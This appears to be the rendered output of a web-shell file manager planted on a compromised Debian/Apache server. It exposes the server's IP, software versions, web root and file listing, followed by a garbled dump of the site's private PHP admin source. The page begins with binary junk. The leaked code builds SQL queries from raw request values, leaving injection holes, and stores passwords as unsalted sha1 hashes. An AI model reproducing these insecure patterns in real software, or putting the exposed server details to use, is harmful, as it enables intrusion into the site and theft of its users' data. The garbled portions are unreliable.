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tEs#678PI:e5n$i0ScudA F(ET lq{讬3 28xۆ1IPԲ v0r$0{[J*cyA 1OQ-3f5;׆!`;mV[g{*d$221VR8jk.aH)7c=BO>~ T77XӇʧ _NاVV:Gye)NKk Ǵ`ՏS=Wy\cu`}@8C2su XqC Պ̜xEU ڭ{$KόI@F؛NLOA$F[X2rĔG L\wE2J3S8IJ2e`A7),b +noĐ<{XA"Lj%W̮RI7=e0O {F 3t6ǽN7aNHmo!_5G/GGz`ǻwl${wzd2X,!a/@X{wh]S MARIJUANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux vps-ed8565de 5.10.0-32-cloud-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
  SOFT : Apache/2.4.65 (Debian) PHP : 7.4.33
/var/www/mdau-prod/
51.178.36.14

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
.svn dir drwxr-xr-x 2022-04-21 16:07 R D
PHPMailer dir drwxr-xr-x 2022-04-21 16:06 R D
cron dir drwxr-xr-x 2022-04-21 16:03 R D
css dir drwxr-xr-x 2022-04-21 16:05 R D
doc dir drwxr-xr-x 2022-04-21 16:03 R D
external dir drwxr-xr-x 2022-04-21 16:05 R D
filebrowser dir drwxr-xr-x 2022-04-21 16:03 R D
flash dir drwxr-xr-x 2022-04-21 16:03 R D
fonts dir drwxr-xr-x 2022-04-21 16:03 R D
html2pdf dir drwxr-xr-x 2022-04-21 16:06 R D
images dir drwxr-xr-x 2022-04-21 16:06 R D
js dir drwxr-xr-x 2022-04-21 16:03 R D
kcfinder dir drwxr-xr-x 2022-04-21 16:14 R D
mailjet dir drwxr-xr-x 2022-04-21 16:03 R D
paidfiles dir drwxr-xr-x 2022-04-21 16:03 R D
res dir drwxr-xr-x 2022-04-21 16:07 R D
tmp dir drwxr-xr-x 2022-04-21 16:04 R D
.htaccess 0.173 KB -rw-r--r-- 2022-04-21 16:03 R E G D
.htaccess.php.txt 0.171 KB -rw-r--r-- 2022-04-21 16:03 R E G D
__tmp_jdh.php 0.92 KB -rw-r--r-- 2022-04-21 16:03 R E G D
admin_comments_places.php 4.162 KB -rw-r--r-- 2022-04-21 16:03 R E G D
admin_debug.php 0.36 KB -rw-r--r-- 2022-04-21 16:03 R E G D
admin_mailing.php 0.177 KB -rw-r--r-- 2022-04-21 16:03 R E G D
admin_orders.php 5.386 KB -rw-r--r-- 2022-04-21 16:03 R E G D
admin_subscriptions.php 2.694 KB -rw-r--r-- 2022-04-21 16:03 R E G D
admin_tickets_content.php 3.86 KB -rw-r--r-- 2022-04-21 16:03 R E G D
admin_translations.php 0.953 KB -rw-r--r-- 2022-04-21 16:03 R E G D
admin_ui_text_ressources.php 2.393 KB -rw-r--r-- 2022-04-21 16:03 R E G D
book0.pdf 904.991 KB -rw-r--r-- 2022-04-21 16:03 R E G D
book1.pdf 947.171 KB -rw-r--r-- 2022-04-21 16:03 R E G D
calendars.php 12.304 KB -rw-r--r-- 2022-04-21 16:03 R E G D
channel.html 0.08 KB -rw-r--r-- 2022-04-21 16:03 R E G D
config.php 0.943 KB -rw-r--r-- 2022-04-30 19:14 R E G D
config.php~ 0.945 KB -rw-r--r-- 2022-04-21 16:03 R E G D
daemon_unlock.php 0.399 KB -rw-r--r-- 2022-04-21 16:03 R E G D
db_mdau_r2_7.sql 0.002 KB -rw-r--r-- 2022-04-21 16:03 R E G D
debug.php 1.647 KB -rw-r--r-- 2022-04-21 16:03 R E G D
debug_config.php 0.327 KB -rw-r--r-- 2022-04-21 16:03 R E G D
debug_config.tmp~ 0.326 KB -rw-r--r-- 2022-04-21 16:03 R E G D
dl.php 1.35 KB -rw-r--r-- 2022-04-21 16:03 R E G D
favicon.ico 1.123 KB -rw-r--r-- 2022-04-21 16:03 R E G D
fix_mysql.inc.php 9.955 KB -rw-r--r-- 2022-04-30 19:18 R E G D
fix_mysql.inc.php~ 9.926 KB -rw-r--r-- 2022-04-30 19:17 R E G D
functions.php 79.561 KB -rw-r--r-- 2022-04-21 16:03 R E G D
functions_private.php 36.764 KB -rw-r--r-- 2022-04-21 16:03 R E G D
functions_private_tickets.php 13.691 KB -rw-r--r-- 2022-04-21 16:03 R E G D
google4ef04b8d6b35a6e6.html 0.052 KB -rw-r--r-- 2022-04-21 16:03 R E G D
index.php 30.722 KB -rw-r--r-- 2022-04-30 19:08 R E G D
index.php~ 30.687 KB -rw-r--r-- 2022-04-21 16:03 R E G D
orders3.php 2.442 KB -rw-r--r-- 2022-04-21 16:03 R E G D
paypal.php 1.285 KB -rw-r--r-- 2022-04-21 16:03 R E G D
paypal2.php 4.668 KB -rw-r--r-- 2022-04-21 16:03 R E G D
pickfile.php 1.655 KB -rw-r--r-- 2022-04-21 16:03 R E G D
rgpd.php 33.243 KB -rw-r--r-- 2022-04-21 16:03 R E G D
robots.txt 0.023 KB -rw-r--r-- 2022-04-21 16:03 R E G D
shop.php 36.81 KB -rw-r--r-- 2022-04-21 16:03 R E G D
testmj.php 0.281 KB -rw-r--r-- 2022-04-21 16:03 R E G D
trackers.php 3.815 KB -rw-r--r-- 2022-04-21 16:03 R E G D
REQUEST EXIT
©TheAlmightyZeus
messageCampaigns(); $campaigns = $mj_response->result; $count = $mj_response->cnt; echo ''; $odd = true; foreach ($campaigns as $campaign) { echo ''; echo '"; echo ''; $odd = !$odd; } private_foot(); } /* * Vérifie si les informations login/password entrées dans le formulaire de * connexion sont correctes * */ function admin_authentify($p) { global $site_url, $db_link; if ((!isset($_POST["login"])) or (!isset($_POST["password"]))) { // Journaliser // Retour accueil location($site_url . "/", "error", $_POST); } $q = mysql_query("select * from users where login='" . mysql_real_escape_string($_POST["login"]) . "' and password_hash='" . mysql_real_escape_string(sha1($_POST["password"])) . "'"); if ($e = mysql_error($db_link)) location($site_url, "error", $e); if (mysql_num_rows($q) != 1) { // Erreur login ou pass location($site_url . "/?f=login&p=error"); } else { $_SESSION["login"] = $_POST["login"]; location($site_url . "/?f=private"); } } /* * */ /* * Affiche un fil de discussion complet. */ function admin_discussions_thread_show($id_thread, $id_parent = 0) { global $db_link; $q = mysql_query("select * from discussions_posts where id_thread=" . $id_thread . " and id_parent=" . $id_parent, $db_link); echo "
    "; while ($a = mysql_fetch_assoc($q)) { echo "
  • "; echo $a["title_fr"] . " "; echo ''; switch ($a["status"]) { case "published": echo "(publié)"; break; case "validation": echo "(à approuver)"; break; case "refused": echo "(rejeté)"; break; } echo ''; echo ' [Modération]'; admin_discussions_thread_show($id_thread, $a["id_post"]); echo "
  • "; } echo "
"; } // Formulaire de connexion function admin_login($p) { global $site_url, $db_link; private_head("Authentification requise"); if (isset($_SESSION["login"])) { $q = mysql_query("select * from users where login='" . mysql_real_escape_string($_SESSION["login"]) . "'"); if (mysql_num_rows($q) == 1) { location("/?f=private"); } } if ($p == "error") echo "ERREUR !!!"; ?>

Connexion





' . $_SESSION["login"] . ' • Se déconnecter

'; echo '
'; echo 'Accueil '; echo 'Articles / Pages '; echo 'Billets '; echo 'Commentaires '; echo 'Metas '; echo 'Newsletter '; echo 'Commandes '; echo 'Insc. év. '; echo 'Messages '; echo '
'; } function admin_messages_delete_confirmation($p){ echo "Voulez-vous vraiment supprimer ce message ?"; $q = mysql_query("SELECT * FROM messages WHERE id_mail=" . strval($p)); $a = mysql_fetch_assoc($q); echo "
Titre: " . $a["title"] . "
"; echo "Date de réception: " . $a["ts"] . "
"; echo "Expéditeur: " . $a["name"] . " (" . $a["email"] . ")" . "
"; echo "Message:
"; echo $a["message"]; echo "
"; echo "
"; echo 'NON     '; echo 'OUI     '; } function admin_messages_delete($p){ global $site_url, $db_link; $q = mysql_query($sql = "DELETE FROM messages WHERE id_mail=" . strval($p)); if ($e = mysql_error($db_link)) debug_print(array($sql, $e)); location("/?f=admin_messages"); } function admin_messages(){ global $site_url, $db_link; continue_if_authentified(); private_head("Messages du formulaire de contact"); __admin_toolbar(); $q = mysql_query("SELECT * FROM messages ORDER BY ts DESC"); while ($a = mysql_fetch_assoc($q)) { echo "Titre: " . $a["title"] . "
"; echo "Date de réception: " . $a["ts"] . "
"; echo "Expéditeur: " . $a["name"] . " (" . $a["email"] . ")" . "
"; echo "Message:
"; echo $a["message"]; echo "
"; echo 'Supprimer le message'; echo "
"; } private_foot(); } // Accueil de la zone d'administration function admin_private($p) { global $site_url, $db_link; continue_if_authentified(); private_head("Gestion"); __admin_toolbar(); // echo "


Aucune information à afficher actuellement
"; $q = mysql_query("SELECT * FROM downloads WHERE locale LIKE 'fr'"); $r=mysql_num_rows($q); echo 'TELECHARGEMENTS FR : '.$r.'
'; $q = mysql_query("SELECT * FROM downloads WHERE locale LIKE 'it'"); $r=mysql_num_rows($q); echo 'TELECHARGEMENTS IT : '.$r.'

'; $q_comments = mysql_query("select * from comments where status='validation' order by cdate", $db_link); if (mysql_num_rows($q_comments) != 0) { echo '

Commentaires à valider

'; while ($a_comments = mysql_fetch_assoc($q_comments)) { echo '
'; if (str_replace(" ", "", $a_comments["title"]) === "") echo 'Commentaire sans titre, '; else echo '"' . $a_comments["title"] . '", '; if (str_replace(" ", "", $a_comments["pseudonym"])) echo ' par ' . $a_comments["pseudonym"] . ', '; $q_origin = mysql_query("select f, p from urls where url_suffix='" . mysql_real_escape_string($a_comments["url_suffix"]) . "'"); if ($e = mysql_error()) location("/?f=private", "error", $e); if (mysql_num_rows($q_origin) >= 1) { $a_origin = mysql_fetch_assoc($q_origin); if ($a_origin["f"] == "article") { $origin = " dans l'article "; $q_article = mysql_query("select title_fr from articles where id_article=" . $a_origin["p"]); if (mysql_num_rows($q_article) == 1) { $a_article = mysql_fetch_assoc($q_article); $origin .= '"' . $a_article["title_fr"] . '"'; } else $origin .= "(???)"; } else if ($a_origin["p"] == "ticket") { $origin = ' dans le billet '; $q_ticket = mysql_query("select title_fr from tickets where id_ticket=" . $a_origin["p"]); if (mysql_num_rows($q_ticket) == 1) { $a_ticket = mysql_fetch_assoc($q_ticket); $origin .= '"' . $a_ticket["title_fr"] . '"'; } else $origin .= "(???)"; } else { $origin = ""; } } echo 'le ' . strftime("%A %d %B %Y à %Hh%M", strtotime($a_comments["cdate"])); echo '
' . $a_comments["content"] . '

'; echo 'Modération'; echo '
'; } } /* Nouvelles inscriptions à la newsletter */ $q = mysql_query("select * from emails where ack=0", $db_link); if (mysql_num_rows($q) > 0) { echo "

Nouvelles inscriptions à la newsletter

"; echo 'Confirmer toutes'; echo "
    "; while ($a = mysql_fetch_assoc($q)) { echo "
  • " . $a["email"] . ' Confirmer
  • '; } echo "
"; } /* Nouvelles commandes */ $q = mysql_query("SELECT * FROM orders WHERE status=0"); if (mysql_num_rows($q) > 0) { echo "

Nouvelles commandes

"; echo 'Gérer les commandes'; } echo "\n"; private_foot(); } function admin_articles($p) { global $site_url, $db_link, $current_locale; continue_if_authentified(); private_head("Gestion des articles"); __admin_toolbar(); echo '
'; echo '
Liste des pages'; echo '

'; echo 'Nouvel article'; echo '

'; echo '
' . $campaign->title . "
'; echo ""; echo ""; echo ''; echo '"; // requête avec orders by $sql = "select * from articles"; if ($p == "status") $sql .= " order by published"; elseif($p == "comment") $sql .= " order by gestion_comments"; elseif($p == "liste") $sql .= " order by in_the_list"; elseif($p == "type") $sql .= " order by structural"; elseif($p == "t-orange") $sql .= " order by orange_title_fr"; else $sql .= " order by title_fr"; if (isset($_GET["order"]) and ($_GET["order"] == "reverse")) $sql .= " desc"; // $q = mysql_query($sql, $db_link); if ($e = mysql_error($db_link)) location($site_url . "/?f=private", "error", $sql . "\n" . $e); $parity = "odd"; while ($a = mysql_fetch_assoc($q)) { echo ''; echo ''; $parity = ($parity == "even" ? "odd" : "even"); } echo "
E'; echo 'Titre '; echo 'IT'; echo 'A'; echo 'S '; echo 'C '; echo 'L'; echo ''; echo 'S/A'; echo 'T-orange'; echo 'Thèmes Supp'; echo "
Editer '.$a["title_fr"].' '; if($a["etat_trad_it"] == 2) echo 'Traduction validée'; elseif($a["content_it"]=="")echo 'aucune'; else echo 'en cours'; echo ' Aperçu '; if ($a["published"] == 0)echo ''; else echo ''; echo ' '; if ($a["gestion_comments"] == 0)echo ''; else echo ''; echo ' '; if ($a["in_the_list"] == 1) echo ''; else echo 'hors liste'; echo ' '; if ($a["structural"] == 0) echo ''; else echo 'hors liste'; echo ' '.$a["orange_title_fr"] .''.$a['themes'].''; if ($a["structural"]) echo " "; else echo ' '; echo '
"; echo ""; private_foot(); } function admin_article_delete($p){ global $db_link, $site_url; continue_if_authentified(); if (!is_numeric($p)) location($site_url . "/?f=private"); $q = mysql_query("select * from articles where id_article=" . $p); $a = mysql_fetch_assoc($q); $structural = $a["structural"]; private_head("Supprimer un article"); ?>
Confirmation
Supprimer l'article ci-dessous ? [Oui] [Non]
' . $a["title_fr"] . ''; echo $a["content_fr"]; } else {location($site_url . "/?f=private");} private_foot(); } function admin_article_delete_confirm($p){ global $PDO_db, $site_url; continue_if_authentified(); if (!is_numeric($p)) location($site_url . "/?f=private", '', $p); $PDO_db -> query("DELETE FROM articles WHERE id_article=" . $p); // suppression des redirections s'il y en a $q = $PDO_db -> query("SELECT url_suffix FROM urls WHERE f='article' AND p=".$p); if($q->rowCount()>0){ while($r=$q->fetch) { $PDO_db->query("DELETE FROM urls WHERE f='internal_301' AND p='".$r['url_suffix']."'"); } } $PDO_db -> query("DELETE FROM urls WHERE f='article' AND p=" . $p); location($site_url . "/?f=admin_articles&structural=" . $_GET["structural"]); } function admin_edit_article_content($p){ global $site_url, $PDO_db; continue_if_authentified(); if (!is_numeric($p)) location("/?f=private", "error", $p); private_head("Editer un article"); $q =$PDO_db->query("select * from articles where id_article=" . $p); while($a=$q->fetch()){ ?>
    Retour " alt="Aperçu">Aperçu

Titres

"/>
"/>

Urls

query("SELECT * FROM urls WHERE f='article' AND p=".$p." AND locale='FR'"); if($r->rowCount()==1){ while($b=$r->fetch()){ echo '
'; } } $s=$PDO_db -> query("SELECT * FROM urls WHERE f='article' AND p=".$p." AND locale='IT'"); if($s->rowCount()==1){ while($c=$s->fetch()){ echo '
'; } } ?>

Options

/>
"/>
/>
/>
/>
/>

Metas

"/>
"/>
"/>
"/>

Thèmes

'; echo '' ?>

Contenu

Contenu FR :
Contenu IT:
prepare("UPDATE articles SET title_fr=:title_fr, title_it=:title_it, published=:published, orange_title_fr=:orange_title_fr, in_the_list=:in_the_list, structural=:structural, gestion_comments=:gestion_comments, etat_trad_it=:etat_trad_it, title_html_fr=:title_html_fr, meta_description_fr=:meta_description_fr, title_html_it=:title_html_it, meta_description_it=:meta_description_it, themes=:themes, content_fr=:content_fr, content_it=:content_it WHERE id_article=:id_article"); $q->execute(array('title_fr' => $_POST['title_fr'], 'title_it' => $_POST['title_it'], 'published' => $published, 'id_article' => $_POST['p'], 'orange_title_fr' => $_POST['orange_title_fr'], 'in_the_list'=>$in_the_list, 'structural' => $structural, 'gestion_comments' => $gestion_comments, 'etat_trad_it' => $etat_trad_it, 'title_html_fr' => $_POST['title_html_fr'], 'meta_description_fr' => $_POST['meta_description_fr'], 'title_html_it' => $_POST['title_html_it'], 'meta_description_it' => $_POST['meta_description_it'], 'themes' => $themes, 'content_fr' => $_POST['content_fr'], 'content_it' => $_POST['content_it'] )); // URL FR $q2 = $PDO_db -> query("SELECT * FROM urls WHERE f='article' AND p=".$p." AND locale='FR'"); $r2 = $q2 -> fetch(); if($r2['url_suffix']!=$_POST['url_fr']) { $q_exist = $PDO_db->prepare("SELECT * FROM urls WHERE url_suffix = :a OR p = :a"); $r_exist = $q_exist->execute(array(":a" => $_POST['url_fr'])); if ($q_exist->rowCount() == 0) { $PDO_db->query("UPDATE urls SET f='internal_301', p='" . $_POST['url_fr'] . "' WHERE f='article' AND p=" . $p . " AND locale='FR'"); $PDO_db->query("INSERT INTO urls (url_suffix,f,p,locale) SELECT '" . $_POST['url_fr'] . "','article', " . $p . ", 'FR'"); } else { echo "L'URL " . $_POST["url_fr"] . " ne peut plus etre utilisee. "; ?> prepare("UPDATE comments SET url_suffix = :nouvelle WHERE url_suffix = :ancienne"); $q2->execute(array(":nouvelle" => $_POST['url_fr'], ":ancienne" => $r2["url_suffix"])); // URL IT $q2 = $PDO_db -> query("SELECT * FROM urls WHERE f='article' AND p=".$p." AND locale='IT'"); $r2 = $q2 -> fetch(); if($r2['url_suffix']!=$_POST['url_it']) { $q_exist = $PDO_db->prepare("SELECT * FROM urls WHERE url_suffix = :a OR p = :a"); $r_exist = $q_exist->execute(array(":a" => $_POST['url_it'])); if ($q_exist->rowCount() == 0) { $PDO_db->query("UPDATE urls SET f='internal_301', p='" . $_POST['url_it'] . "' WHERE f='article' AND p=" . $p . " AND locale='IT'"); $PDO_db->query("INSERT INTO urls (url_suffix,f,p,locale) SELECT '" . $_POST['url_it'] . "','article', " . $p . ", 'IT'"); } else { echo "L'URL " . $_POST["url_it"] . " ne peut plus etre utilisee. "; ?> prepare("UPDATE comments SET url_suffix = :nouvelle WHERE url_suffix = :ancienne"); $q2->execute(array(":nouvelle" => $_POST['url_it'], ":ancienne" => $r2["url_suffix"])); location("/?f=edit_article_content&p=" . $p); } function get_enum_values( $table, $field ) { /* récupérer un tableau contenant la liste des valeurs possibles d'un enum */ global $PDO_db; $type = $PDO_db->query("SHOW COLUMNS FROM " . $table . " WHERE Field = '" . $field . "'"); $type= $type->fetch(); preg_match("/^set\(\'(.*)\'\)$/", $type['Type'], $matches); $enum = explode("','", $matches[1]); return $enum; } function admin_new_article() { global $PDO_db; continue_if_authentified(); $q = $PDO_db->query("INSERT INTO `articles` (`id_article`) SELECT ''"); $id=$PDO_db->lastInsertId(); $q2 = $PDO_db -> query("INSERT INTO urls (`url_suffix`,`f`,`p`,`locale`) SELECT CONCAT('article-',$id,'.html'),'article',$id,'FR'"); $q3 = $PDO_db -> query("INSERT INTO urls (`url_suffix`,`f`,`p`,`locale`) SELECT CONCAT('it-article-',$id,'.html'),'article',$id,'IT'"); location("/?f=edit_article_content&p=" .$id); } function admin_comment_edit($p){ global $site_url; continue_if_authentified(); private_head("Edition d'un commentaire"); if (!is_numeric($p)) location($site_url . "/?f=admin", "error"); $q = mysql_query("select * from comments where id_comment=$p"); $a = mysql_fetch_assoc($q); ?>
Edition d'un commentaire
Annuler

Titre : "/>

Commentaire
$v) { send_mail( $email, $email, "Nouveau commentaire", "Un nouveau commentaire est apparu dans un fil de discussion que vous suivez" . "Voir : http://" . $site_url . "/" . $a["url_suffix"] ); } } // TODO // Supprimer le message à l'utilisateur qui dit "commentaire en cours de validation" if (isset($_POST["origin"])) location($site_url . urldecode($_POST["origin"])); else location($site_url . "/?f=admin_comments"); } function admin_comment_moderation($p){ global $site_url, $db_link; continue_if_authentified(); $q = mysql_query("select * from comments where id_comment=" . $p); $a = mysql_fetch_assoc($q); private_head("Approbation d'un commentaire"); ?>
Approbation d'un commentaire
/>En attente
/>Refuser
/>Publier

'; ?>


Titre : " . $a["title"] . ""; echo "

Publié par " . $a["pseudonym"] . "

"; echo $a["content"]; private_foot(); } function admin_comment_delete($p){ global $db_link, $site_url; if (!is_numeric($p)) location($site_url . "/?f=private"); continue_if_authentified(); $q = mysql_query("delete from comments where id_comment=" . $p, $db_link); if ($e = mysql_error($db_link)) debug_print($e); location($site_url . "/?f=admin_comments"); } function admin_comment_delete_userConfirmation($p){ global $db_link, $site_url; if (!is_numeric($p)) location($site_url . "/?f=private"); continue_if_authentified(); private_head("Suppression d'un commentaire"); ?>

Supprimer le commentaire ?

'; echo ''; echo '"; echo ""; } echo "
Date Commentaire
' . $a["cdate"] . ''; if ($a["pseudonym"] != "") echo 'Pseudo: ' . $a["pseudonym"]; echo '
' . $a["title"] . '
' . $a["content"]; echo "
"; echo "
"; echo "Origine: "; echo ''; echo $site_url . "/" . $a["url_suffix"]; echo ''; if ($a["email"] != "") echo ' - E-Mail: ' . $a["email"]; echo "
"; echo "
"; ?>

OUI  NON
Gestion des commentaires
'; echo ''; echo ''; echo ''; echo ''; echo ''; echo '"; echo ""; } echo "
      Date Commentaire
' . '' . '' . $a["cdate"] . ''; if ($a["pseudonym"] != "") echo 'Pseudo: ' . $a["pseudonym"]; echo '
' . $a["title"] . '
' . $a["content"]; echo "
"; echo "
"; echo "Origine: "; echo ''; echo $site_url . "/" . $a["url_suffix"]; echo ''; if ($a["email"] != "") echo ' - E-Mail: ' . $a["email"]; echo "
"; echo "
"; ?>
Liste des inscrits à la newsletter

Liste des e-mails (les derniers inscrits en haut)

'; echo ''; echo ''; echo ""; $row_parity = ($row_parity == "even" ? "odd" : "even"); } echo "
e-mailPseudo
' . $a["email"] . '' . $a["pseudo"] . '
"; } function admin_newsletter_ack($p){ global $db_link, $site_url; $sql = "update emails set ack=1"; if ($p != "") $sql .= " where email='" . mysql_real_escape_string(urldecode($p)) . "'"; mysql_query($sql, $db_link); if ($e = mysql_error($db_link)) location($site_url . "/?f=private", "error", array($e, $p)); location($site_url . "/?f=private"); } function private_head($title = ""){ ?> ?*/ ?> <?php echo $title; ?>